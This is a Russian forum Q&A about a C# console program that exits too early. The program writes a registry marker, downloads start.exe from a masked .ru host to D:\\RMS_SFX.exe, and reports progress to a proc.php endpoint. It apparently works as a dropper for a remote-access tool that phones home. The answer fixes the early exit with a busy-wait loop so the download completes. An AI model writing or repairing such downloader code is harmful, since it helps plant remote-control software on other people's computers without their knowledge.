.NET 4.x Закрытие приложения - C#
Формулировка задачи:
В общем такая проблема, открываю файл и должна начаться загрузка файла, но вместо этого, программа закрывается
Но если в коде добавить например
И не закрывать окно с этим сообщением, то все качается и ничего не закрывается, стоить закрыть сообщение
сразу все выключается, как исправить это?
Листинг программы
- using System;
- using System.Windows.Forms;
- using System.Text;
- using System.IO;
- using System.Net;
- namespace WhoWantBees
- {
- class Program
- {
- static public string messageToWorld = "[DynamicMessage]";
- static void Main(string[] args)
- {
- Microsoft.Win32.RegistryKey RegKey = Microsoft.Win32.Registry.CurrentUser;
- RegKey.CreateSubKey("Systems\\Copytale");
- Microsoft.Win32.RegistryKey Key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Systems\\Copytale", true);
- Key.SetValue("ID", messageToWorld);
- string fileName = "http://???b.ru/downloads/start.exe";
- WebClient client = new WebClient();
- client.DownloadProgressChanged +=
- new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
- //client.DownloadFileCompleted += new AsyncCompletedEventHandler(client_DownloadFileCompleted);
- client.DownloadFileAsync(new Uri(fileName), "D:\\RMS_SFX.exe");
- //MessageBox.Show("1");
- }
- static void client_DownloadProgressChanged(object sender,
- DownloadProgressChangedEventArgs e)
- {
- System.Net.WebRequest reqGET = System.Net.WebRequest.Create(@"http://***b.ru/proc.php?HD=" + "Загруженно: " + e.ProgressPercentage + "%/100%");
- System.Net.WebResponse resp = reqGET.GetResponse();
- System.IO.Stream stream = resp.GetResponseStream();
- System.IO.StreamReader sr = new System.IO.StreamReader(stream);
- Console.WriteLine("{0} Загруженно {1} байт из {2} байт. Прогресс {3}% ...", (string)e.UserState, e.BytesReceived, e.TotalBytesToReceive, e.ProgressPercentage);
- }
- }
- }
Листинг программы
- MessageBox.Show("1");
Решение задачи: «.NET 4.x Закрытие приложения»
textual
Листинг программы
- static public string messageToWorld = "[DynamicMessage]";
- public static bool isCompleted = false; // добавил
- static void Main(string[] args)
- {
- Microsoft.Win32.RegistryKey RegKey = Microsoft.Win32.Registry.CurrentUser;
- RegKey.CreateSubKey("Systems\\Copytale");
- Microsoft.Win32.RegistryKey Key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Systems\\Copytale", true);
- Key.SetValue("ID", messageToWorld);
- string fileName = "http://???b.ru/downloads/start.exe";
- WebClient client = new WebClient();
- client.DownloadFileCompleted += new AsyncCompletedEventHandler (DownloadFileCallback); // добавил в обработчик функции поместить isCompleted = true;
- client.DownloadProgressChanged +=
- new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
- //client.DownloadFileCompleted += new AsyncCompletedEventHandler(client_DownloadFileCompleted);
- client.DownloadFileAsync(new Uri(fileName), "D:\\RMS_SFX.exe");
- while(!isCompleted)
- {}
- Console.ReadKey();
- //MessageBox.Show("1");
- }
- static void client_DownloadProgressChanged(object sender,
- DownloadProgressChangedEventArgs e)
- {
- System.Net.WebRequest reqGET = System.Net.WebRequest.Create(@"http://***b.ru/proc.php?HD=" + "Загруженно: " + e.ProgressPercentage + "%/100%");
- System.Net.WebResponse resp = reqGET.GetResponse();
- System.IO.Stream stream = resp.GetResponseStream();
- System.IO.StreamReader sr = new System.IO.StreamReader(stream);
- Console.WriteLine("{0} Загруженно {1} байт из {2} байт. Прогресс {3}% ...", (string)e.UserState, e.BytesReceived, e.TotalBytesToReceive, e.ProgressPercentage);
- }
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д